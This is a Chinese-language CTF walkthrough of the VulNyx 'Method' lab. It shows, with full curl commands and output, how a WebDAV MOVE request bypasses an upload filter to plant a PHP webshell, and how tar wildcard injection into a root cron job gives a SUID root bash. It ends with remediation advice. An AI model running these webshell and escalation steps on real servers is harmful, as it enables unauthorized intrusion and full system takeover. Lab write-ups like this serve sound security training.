VulNyx Method 通关记录|WebDAV MOVE 绕过上传限制与 tar 通配符注入提权
靶机链接:Method
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Method | 192.168.1.146 | Debian 11 (bullseye) 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp HTTP lighttpd + WebDAV | 锁定 WebDAV 为主攻击面 |
| 目录枚举 | gobuster → /webdav/ 返回 403,OPTIONS 暴露全部方法 | 发现匿名可写的 WebDAV 端点 |
| 上传绕过 | PUT 仅允许 .html → MOVE 重命名为 .php | 绕过 PHP 脚本上传限制 |
| 初始 RCE | cmd.php?cmd=id → uid=33(www-data) | 获得低权限 shell |
| User Flag | /home/www-data/user.txt | 第一个 flag |
| 提权分析 | ps auxf 捕获 root cron:cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz * | 发现 tar 通配符注入点 |
| 通配符注入 | 创建 --checkpoint=1 + --checkpoint-action=exec=sh s,脚本执行 chmod u+s /bin/bash | 利用 root cron 制造 SUID Bash |
| Root 提权 | /bin/bash -p -c 'id' → euid=0(root) | 获得 root 权限 |
| Root Flag | /root/root.txt | 第二个 flag |
0x02 侦察与信息收集 (Reconnaissance)
1. TCP 端口扫描
先用 RustScan 做快速全端口发现,联动 Nmap 完成服务识别:
rustscan -a 192.168.1.146 --ulimit 5000 -- -sV -sC -oN rustscan-nmap.txt
扫描结果:
| 端口 | 状态 | 服务 | 版本 |
|---|---|---|---|
| 22/tcp | open | SSH | OpenSSH 8.4p1 Debian 5+deb11u7 |
| 53/tcp | closed | DNS | - |
| 80/tcp | open | HTTP | lighttpd 1.4.59 |
随后做全端口范围复核确认没有遗漏:
rustscan -a 192.168.1.146 -r 1-65535 --ulimit 5000 -- -sV --version-intensity 2
结果与初始扫描一致,仅 22/tcp 和 80/tcp 开放。UDP 扫描也仅 68/udp 为 open|filtered(DHCP 客户端),没有可利用的 UDP 服务。
分析:
- 目标是 Debian 11 (bullseye),内核
5.10.0-45-amd64,宿主机名method.lan。 - SSH 需要凭据,优先从 Web 寻找入口。
- HTTP 为轻量级的 lighttpd,非 Apache/Nginx 全栈,配置往往更精简,WebDAV 属于少见暴露的模块。
2. Web 枚举
首页为 lighttpd 默认欢迎页:
curl -s -i http://192.168.1.146/
HTTP/1.1 200 OK
Server: lighttpd/1.4.59
Content-Length: 3388
标题 <title>Welcome page</title>,内容为 lighttpd 部署成功页(index.lighttpd.html)。说明 web 根目录没有自定义应用,需要靠目录爆破发现隐藏端点。
使用 gobuster 枚举目录与常见扩展名:
gobuster dir -u http://192.168.1.146 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt,bak,zip,tar,gz \
-o gobuster-common.txt
关键结果:
/webdav/ (Status: 301) → 重定向至 /webdav/
所有常见路径(robots.txt、admin、login、.git/HEAD、.env、phpmyadmin 等)均返回 404。唯一的入口是 /webdav/。
0x03 WebDAV 方法探测与绕过分析
1. WebDAV 方法枚举
直接 GET /webdav/ 返回 403 Forbidden,但 403 不代表没有利用空间,关键看 OPTIONS:
curl -s -X OPTIONS -i http://192.168.1.146/webdav/
HTTP/1.1 200 OK
DAV: 1,2,3
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK, OPTIONS, GET, HEAD, POST
关键发现:
PUT、MKCOL、DELETE、MOVE、COPY全部开放。- 无需认证即可调用(OPTIONS 未返回
WWW-Authenticate)。 DAV: 1,2,3表示支持完整的 WebDAV Class 1/2/3。
使用 davtest 快速验证匿名写入能力:
davtest -url http://192.168.1.146/webdav/
OPEN SUCCEED: http://192.168.1.146/webdav
MKCOL SUCCEED: Created http://192.168.1.146/webdav/DavTestDir_...
PUT html SUCCEED: http://192.168.1.146/webdav/DavTestDir_.../davtest_...html
PUT php FAIL
PUT cfm FAIL
PUT aspx FAIL
分析:
- 匿名连接成功,MKCOL(创建目录)成功。
- HTML 文件可以 PUT 上传,但 PHP / CFM / ASPX 等脚本扩展名全部被拒。
- 限制逻辑在 lighttpd 配置中,而非 WebDAV 协议层本身。
2. lighttpd 配置审计与 MOVE 绕过
通过后续获得的 webshell 读取 lighttpd 配置,完整还原限制逻辑:
cat /etc/lighttpd/lighttpd.conf
WebDAV 相关配置(关键段):
alias.url += (
"/webdav" => "/var/www/html/webdav"
)
$HTTP["url"] =~ "^/webdav($|/)" {
webdav.activate = "enable"
dir-listing.activate = "disable"
$HTTP["request-method"] == "PUT" {
$HTTP["url"] !~ "\.html$" {
url.access-deny = ( "" )
}
}
$HTTP["request-method"] !~ "^(GET|HEAD|OPTIONS|PUT|MOVE|MKCOL|DELETE|PROPFIND)$" {
url.access-deny = ( "" )
}
}
漏洞分析:
| 配置项 | 限制范围 | 绕过点 |
|---|---|---|
PUT + !~ "\.html$" | 仅 PUT 方法限制非 .html 扩展名 | MOVE 方法完全不受扩展名限制 |
request-method 白名单 | 只允许 8 种方法 | 已覆盖 PUT + MOVE 组合 |
dir-listing.activate = "disable" | 禁止目录浏览 | 不影响 PUT / MOVE / GET 单文件 |
绕过的核心逻辑: PUT 上传 .html 文件,再通过 MOVE 重命名为 .php 扩展名,绕过 PUT 阶段的扩展名限制。
PHP 引擎通过 FastCGI 连接到 PHP-FPM(/run/php/php-fpm.sock),只要文件以 .php 结尾即被解析执行。
0x04 核心攻击链:MOVE 绕过上传与初始 RCE
1. 构造 Webshell
上传 PHP 一句话 webshell 为 .html,再用 MOVE 重命名为 .php:
# Step 1: PUT 上传为 .html(通过 PUT 限制)
curl -s -X PUT \
-d "<?php system(\$_GET['cmd']); ?>" \
"http://192.168.1.146/webdav/cmd.html" -i
# Step 2: MOVE 重命名为 .php(绕过限制)
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/cmd.php" \
"http://192.168.1.146/webdav/cmd.html" -i
两步均返回 201 Created,文件成功写入 /var/www/html/webdav/cmd.php。
2. 验证 RCE
curl -s "http://192.168.1.146/webdav/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
已获得 www-data 用户权限的远程命令执行。
3. User Flag
curl -s "http://192.168.1.146/webdav/cmd.php?cmd=cat%20/home/www-data/user.txt"
5492fc195e7dd4bf3ce4f413674156b6
0x05 权限提升 (Privilege Escalation)
1. 发现 root cron 与 tar 通配符
初期枚举时未找到 sudo、异常 SUID 或内核 exploit 机会。转折点来自进程列表:
# 通过 webshell 执行
ps auxf
在输出中捕获到正在运行的 cron 子进程:
root 1070 \_ /usr/sbin/CRON -f
root 1072 \_ /bin/sh -c cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz *
root 1074 \_ tar -zcf /var/backups/webdav.tgz DavTestDir_... cmd.php ...
关键发现:
- root 用户的 cron 定期执行备份任务。
- 命令为
cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz *。 - tar 使用了未转义的
*通配符,且工作目录正是我们完全可控的/var/www/html/webdav/。
2. 漏洞原理:tar 通配符注入
当 shell 展开 * 时,目录下的所有文件名会作为参数传给 tar。如果文件名恰好是 tar 的命令行选项(以 - 开头),tar 会将其解释为参数而非文件名。
GNU tar 提供两个关键选项:
| 选项 | 作用 |
|---|---|
--checkpoint=N | 每处理 N 个文件后触发 checkpoint |
--checkpoint-action=ACTION | checkpoint 触发时执行指定动作 |
其中 ACTION 支持 exec=command,即在 checkpoint 时以 tar 进程的权限(此处为 root)执行任意命令。
由于 - 的 ASCII 码(45)小于 =(61),--checkpoint-action=... 在字母排序中会排在 --checkpoint=1 之前。但 GNU tar 1.34 对选项的出现顺序不敏感,即使 --checkpoint-action 先出现,它也会先注册 action,等 --checkpoint=1 设置 checkpoint 间隔后照样触发执行。
3. 注入文件构造
文件名中的 /(如 chmod u+s /bin/bash)会导致 HTTP MOVE Destination 解析错误。解决方法是把 payload 写入一个短文件名脚本 s,再通过 --checkpoint-action=exec=sh s 来执行。
在 WebDAV 目录中创建三个特殊文件:
# 文件 1: 触发 checkpoint
curl -s -X PUT -d "x" "http://192.168.1.146/webdav/cp1.html" -i
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/--checkpoint=1" \
"http://192.168.1.146/webdav/cp1.html" -i
# 文件 2: checkpoint 动作 — 执行 sh s
curl -s -X PUT -d "x" "http://192.168.1.146/webdav/cp2.html" -i
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/--checkpoint-action=exec=sh s" \
"http://192.168.1.146/webdav/cp2.html" -i
# 文件 3: 实际 payload — 给 /bin/bash 添加 SUID 位
curl -s -X PUT -d "chmod u+s /bin/bash" \
"http://192.168.1.146/webdav/s.html" -i
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/s" \
"http://192.168.1.146/webdav/s.html" -i
目录最终状态:
/var/www/html/webdav/
├── --checkpoint-action=exec=sh s ← tar 解释为 checkpoint action
├── --checkpoint=1 ← tar 解释为 checkpoint 间隔
├── s ← payload: chmod u+s /bin/bash
├── cmd.php ← webshell(保留)
└── shell.php.html ← webshell 残余(可忽略)
4. 验证注入逻辑
在等待 cron 前,可以先以 www-data 身份手动运行 tar 确认注入有效:
cd /var/www/html/webdav && tar -zcf /tmp/test.tgz * 2>&1
chmod: changing permissions of '/bin/bash': Operation not permitted
chmod 确实被执行了,只是 www-data 无权修改 /bin/bash。当 cron 以 root 运行时则会成功。
5. 触发与结果
cron 按计划运行后,检查 bash 权限:
ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
chmod u+s /bin/bash 已生效,bash 获得了 SUID root 位。
6. Root Shell 与 Root Flag
-p 参数说明: Bash 在启动时检测到 EUID 与 UID 不匹配时,默认会主动丢弃特权(seteuid(getuid()))。-p / -o privileged 明确告诉 bash 保留 effective UID,使 SUID 位真正生效。
/bin/bash -p -c 'id; cat /root/root.txt'
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
370ac5644039db096693f936c2bca98f
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/www-data/user.txt - 权限:
-r-------- 1 www-data www-data 33 - 内容:
5492fc195e7dd4bf3ce4f413674156b6
Root Flag
- 路径:
/root/root.txt - 内容:
370ac5644039db096693f936c2bca98f
0x07 敏感文件与关键配置清单
| 文件 | 权限 | 说明 |
|---|---|---|
/etc/lighttpd/lighttpd.conf | root:root 644 | WebDAV 配置:PUT 限制 .html,MOVE 无限制 |
/etc/lighttpd/conf-enabled/15-fastcgi-php-fpm.conf | root:root 644 | .php → PHP-FPM Unix socket 映射 |
/var/backups/webdav.tgz | root:root 644 | root cron 生成的 WebDAV 目录备份(通配符注入触发点) |
/var/spool/cron/crontabs/root | root:crontab 600 | root 个人 crontab(不可读,但进程快照暴露了命令) |
/var/www/html/webdav/cmd.php | www-data:www-data 644 | 攻击者上传的 webshell |
/bin/bash | root:root 4755 | 注入后获得 SUID 位 |
0x08 复盘总结
- WebDAV 不只是文件共享。 lighttpd 的 WebDAV 模块暴露了完整的文件操作原语。OPTIONS 返回的方法列表是最有价值的第一手情报,比目录爆破更能揭示攻击面。
- MOVE 方法不在过滤范围内。 开发者只对 PUT 方法加了
.html白名单,却忽略了 MOVE 可以改变文件扩展名。这是典型的“只封入口不封出口”的逻辑漏洞。扩展名过滤应该应用到所有能改变文件名的操作(PUT / MOVE / COPY / MKCOL),而不是单一方法。 - 进程快照是本地枚举的高效手段。
ps auxf不仅能看到服务进程,还能捕获瞬间执行的 cron 子进程及其完整命令行。如果只查/etc/crontab和/etc/cron.d/,会因为 root 个人 crontab 权限不可读而错过这个关键线索。 - tar 通配符注入的实质是文件名即参数。 任何以 root 身份在可控目录下执行
tar ... *的 cron 任务都是潜在提权点。文件系统不区分“数据文件名”和“命令行选项字符串”,shell 的通配符展开又把两者混在一起传给程序,这个信任链的断裂就是注入的根源。 - Payload 文件名避免
/。--checkpoint-action=exec=chmod u+s /bin/bash这样的文件名含斜杠,HTTP MOVE 的 Destination 头会把它当作路径分隔符导致 409 Conflict。把命令放进独立短脚本s,再用exec=sh s引用,既规避了 URL 编码问题,也便于调试和替换 payload。 - 验证后再等 cron。 在等待 cron 触发前,先以当前低权限用户手动运行同一命令,确认注入逻辑正确、脚本语法无误。虽然
chmod会因权限报错,但报错本身就证明了执行路径是通的,剩下的只是等 root 来跑。
修复建议
| 风险点 | 建议 |
|---|---|
| WebDAV 匿名写入 | 关闭匿名访问,为 WebDAV 配置强认证和最小权限 |
| 上传过滤只限制 PUT | 对所有可创建或重命名资源的方法统一做扩展名、MIME 和执行权限限制 |
| WebDAV 目录可执行 PHP | 上传目录禁用脚本解析,或将 WebDAV 存储放到 Web 根目录之外 |
root cron 使用 tar ... * | 避免在可控目录中使用未转义通配符;使用 --、绝对路径清单或 `find -print0 |
| SUID Bash 残留 | 清理异常 SUID 位,定期审计 /bin/bash、/var/tmp、Web 根目录等高风险位置 |